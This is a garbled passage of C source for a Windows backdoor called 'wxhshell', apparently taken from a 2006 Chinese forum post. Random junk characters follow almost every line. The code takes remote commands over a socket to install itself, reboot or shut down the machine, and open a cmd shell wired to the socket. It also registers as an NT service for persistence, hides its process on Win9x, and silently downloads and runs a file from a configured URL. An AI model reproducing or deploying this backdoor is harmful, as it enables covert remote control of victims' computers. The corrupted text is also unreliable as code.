  // 帮助 :i{Svb*_'  
  case '?': { >i6sJ)2?>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l**gM  
    break; k-:wM`C  
  } ^{V t  
  // 安装 #8Bs15aV  
  case 'i': { u-8b,$@Z>'  
    if(Install()) `l#|][B)g$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e;|:W A  
    else A"S F^p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J?oI%r7^  
    break; w5C$39e\G  
    } m;_gNh8Ee  
  // 卸载 >)Udb//  
  case 'r': { 6KvoHo  
    if(Uninstall()) }@)r\t4m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Li'>pQ+  
    else .S5%Qa [uW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '-,$@l#  
    break; ^"\3dfzKM  
    } 0[# zn  
  // 显示 wxhshell 所在路径 Qkvg85  
  case 'p': { J]!&E~Y  
    char svExeFile[MAX_PATH]; VW$a(G_h  
    strcpy(svExeFile,"\n\r"); Gu#Vc.e  
      strcat(svExeFile,ExeFile); 9wTN *y  
        send(wsh,svExeFile,strlen(svExeFile),0); jkQ%b.a  
    break; y[D8rFw  
    } f:\)oIW9Kk  
  // 重启  46^9O 5J  
  case 'b': { Y94 ^mt-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?M/H{  
    if(Boot(REBOOT)) |Ix{JP"Lk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3P.v#TEst  
    else { rN3qTp  
    closesocket(wsh); \&6^c=2=  
    ExitThread(0); @#j?Z7E|  
    } iL$~d@AEn  
    break; FI(iqSJ6  
    } y6hb-: #1  
  // 关机 qxQuXF>:#  
  case 'd': { <Jf[N=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |3bCq(ZR\P  
    if(Boot(SHUTDOWN)) s3/iG37K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nF)b4`Nd  
    else { Uh w:XV@m  
    closesocket(wsh); f`gs/R  
    ExitThread(0); qk{+Y  
    } @W1F4HYds  
    break; 2Y7u M;8  
    } n9%&HDl4  
  // 获取shell b2tUJ2p  
  case 's': { HM]mOmL90N  
    CmdShell(wsh); RPB%6z$  
    closesocket(wsh); t:O"t G  
    ExitThread(0); KLBX2H2^0  
    break; ( kKQs")  
  } ^. p d'  
  // 退出 <2V:tj)?P  
  case 'x': { MQY}}a-oug  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8Y,imj\(v  
    CloseIt(wsh); xU!eT'Y  
    break; 0! W$Cz[  
    } /Xm4%~b_gj  
  // 离开 MS~+P'  
  case 'q': { JW}O`H9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %K[u  
    closesocket(wsh); W7` fI*lc  
    WSACleanup(); ,\RZ+kC>~  
    exit(1); >Y6iLQ$X  
    break; pQNTN.L9NZ  
        } -<{;.~nI.  
  } u85  dG7  
  } +B&,$ceyaJ  
'* eeup  
  // 提示信息 b6?&h:{k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (MGYX_rD  
} EY^+ N>  
  } X-<l+WP  
JC.nfxG@:  
  return; .Cz9?]jyI  
} _+6aD|7x  
6%B)  
// shell模块句柄 ):-Ub4A\  
int CmdShell(SOCKET sock) NZL$#bRB  
{ mHF? t.y  
STARTUPINFO si; O%)Wo?)HM  
ZeroMemory(&si,sizeof(si)); ["1Iz{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; od-yVE&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fZgEJsr  
PROCESS_INFORMATION ProcessInfo; L}\ oFjVju  
char cmdline[]="cmd"; ' 4.T1i,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f 0r?cZ  
  return 0; AF\gB2^  
} Fnc MIzp  
})y B2Q0  
// 自身启动模式 gLK_b;:  
int StartFromService(void) ?J,K[.z  
{ oe*CZ  
typedef struct +A-z>T(  
{ #GuN.`__n,  
  DWORD ExitStatus; -R-yr.$j*  
  DWORD PebBaseAddress; \~> .NH-  
  DWORD AffinityMask; Y=ksrs>w  
  DWORD BasePriority; 80%L!x|  
  ULONG UniqueProcessId; e X{#F gFc  
  ULONG InheritedFromUniqueProcessId; 8'* /|)Hn  
}   PROCESS_BASIC_INFORMATION; 8P* d  
`kYcTFk  
PROCNTQSIP NtQueryInformationProcess; n09P!],Xa  
[ 0z-X7=e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )?;+<,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V [Wo9Y\  
&&ZX<wOM  
  HANDLE             hProcess; dCA! R"HD  
  PROCESS_BASIC_INFORMATION pbi; X#k:J  
g `(3r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c<ORmg6  
  if(NULL == hInst ) return 0; dwqR,|  
d]K$0HY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uH |:gF^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P?hB`5X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +-:o+S`q~  
QTospHf`  
  if (!NtQueryInformationProcess) return 0; b8LA|#]i  
4x-K0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yVe<+Z\7  
  if(!hProcess) return 0; 97k}{tG  
7hhv/9L1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8?LHYdJ  
x c|1?AFj  
  CloseHandle(hProcess); E5yn,-GyE0  
J^-a@' `+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4hx4/5[^  
if(hProcess==NULL) return 0; DJb9] ,=a  
# TZ`   
HMODULE hMod; o]DYS,v  
char procName[255]; L:\>)6]Ls  
unsigned long cbNeeded; CrB4%W:{  
g&rz*)|/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TPn#cIPG  
SQJ +C%   
  CloseHandle(hProcess); p$}/~5b}4  
>U)>~SQf  
if(strstr(procName,"services")) return 1; // 以服务启动 P~;1adi3  
"hnvND4=  
  return 0; // 注册表启动 /\MkH\zg  
} .=zBUvy  
lS]6Sk Z6  
// 主模块 {_4`0J`3  
int StartWxhshell(LPSTR lpCmdLine) >en\:pJn)'  
{ On0,#i=  
  SOCKET wsl; <;*w97n  
BOOL val=TRUE; u6Yp ,!+  
  int port=0; ft1V1 c  
  struct sockaddr_in door; aVZ/e^kk-  
S 3s6  
  if(wscfg.ws_autoins) Install(); (>uA(#Z  
*i {e$Zv'  
port=atoi(lpCmdLine); e>x+Xj1  
J7HY(7Nx  
if(port<=0) port=wscfg.ws_port; pV O{7I  
Y+h ?HS  
  WSADATA data; f!F5d1N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q <ulh s  
ZK h4:D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .,f]'!5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z7I\\M  
  door.sin_family = AF_INET; yL %88,/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <cxe   
  door.sin_port = htons(port); WmkCV+thA  
J:@yG1VIp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %2\6.c=c  
closesocket(wsl); b94+GL U8b  
return 1;  $Gcjm~  
} *z};&UsF{  
I|wC`VgB  
  if(listen(wsl,2) == INVALID_SOCKET) { B`YD>oCN  
closesocket(wsl); CwD=nT5`  
return 1; Vjd(Z  
} {Wndp%  
  Wxhshell(wsl); j`#H%2W\;  
  WSACleanup(); %Fx ^"  
yqH9*&KH{  
return 0; g_J QW(_  
gvr&7=p  
} !>f:wk2  
-s0\4  
// 以NT服务方式启动 > Edsanx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [hV}$0#E[O  
{ ]WK~`-3C^  
DWORD   status = 0; ZYt1V"2VJ  
  DWORD   specificError = 0xfffffff; WD1>{TSn  
1'P4{T0 [  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bokr,I3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _9dW+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _ ^'QHWP  
  serviceStatus.dwWin32ExitCode     = 0; ilyF1=bp  
  serviceStatus.dwServiceSpecificExitCode = 0; ?_r{G7|D  
  serviceStatus.dwCheckPoint       = 0; G7i0P j  
  serviceStatus.dwWaitHint       = 0; N)PkE>%X  
9z`72(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {y B0JL}n  
  if (hServiceStatusHandle==0) return; putRc??o;  
ui-]%~  
status = GetLastError(); ^CgN>-xZ?#  
  if (status!=NO_ERROR) MS:,I?  
{ Dp4x\97O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uzT+,  
    serviceStatus.dwCheckPoint       = 0; /N#=Tol  
    serviceStatus.dwWaitHint       = 0; hAt4+O&P  
    serviceStatus.dwWin32ExitCode     = status; ;GKL[ tI"  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9{e/ V)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o'Fyo4Qd  
    return; abv*X 1  
  } l%xTF@4e  
?op;#/Q(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1CR\!?  
  serviceStatus.dwCheckPoint       = 0; g W_E  
  serviceStatus.dwWaitHint       = 0; KyQTrl.qdl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5$Kd<ky  
} OT(0~,.GJ  
y} is=h3  
// 处理NT服务事件,比如:启动、停止 u8t|!pMF8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mp=T;Nz  
{ |!/+ T^u  
switch(fdwControl) ^ cE{Uv  
{ E;9J7Q 4  
case SERVICE_CONTROL_STOP: C/QrkTi=  
  serviceStatus.dwWin32ExitCode = 0; ( P=WKZMPN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; It<VjN9  
  serviceStatus.dwCheckPoint   = 0; bxzx@sF2l  
  serviceStatus.dwWaitHint     = 0; =>kg]  
  { 4GH&u,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A@Lr(L  
  }  ?!<Q8=  
  return; 7yXJ\(6R_  
case SERVICE_CONTROL_PAUSE: lMG+,?<uK&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'p78^4'PL  
  break; X&h?1lMJ /  
case SERVICE_CONTROL_CONTINUE: PVIZ Y^64  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q[+ h ~)  
  break; f*A B Im  
case SERVICE_CONTROL_INTERROGATE: mU  
  break; 3ZI:EZ5  
}; cNN0-<#c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fUfd5W1"  
} aOd|;Z  
KJv%t_4'F  
// 标准应用程序主函数 !@wUAR Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {$5g29  
{ 3)L#V .  
=CD.pw)B1  
// 获取操作系统版本 rqnxRq  
OsIsNt=GetOsVer(); iBtG@M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TvS<;0~K  
4[&&E7]EX  
  // 从命令行安装 N8k=c3|  
  if(strpbrk(lpCmdLine,"iI")) Install(); q`.=/O'  
dA E85  
  // 下载执行文件 9[teG5wA a  
if(wscfg.ws_downexe) { 23Dld+E&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Nr+~3:3  
  WinExec(wscfg.ws_filenam,SW_HIDE); OCJt5#e~A  
} SAj#+_db  
cN FHbMd  
if(!OsIsNt) { jKo9y  
// 如果时win9x,隐藏进程并且设置为注册表启动 ; yE.R[I  
HideProc(); WPrBK{B`o  
StartWxhshell(lpCmdLine); u!HX`~q+A  
} (+0(A777M  
else zg@i7T  
  if(StartFromService()) J#F HR/zV  
  // 以服务方式启动 ;MK|l,aIQ  
  StartServiceCtrlDispatcher(DispatchTable); IW>~Yl?  
else B/qN1D]U.  
  // 普通方式启动 l'M/et{:  
  StartWxhshell(lpCmdLine); AWPgrv/  
P;-.\VRu  
return 0; if*~cPnN  
}
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只看该作者 1 发表于: 2006-10-10
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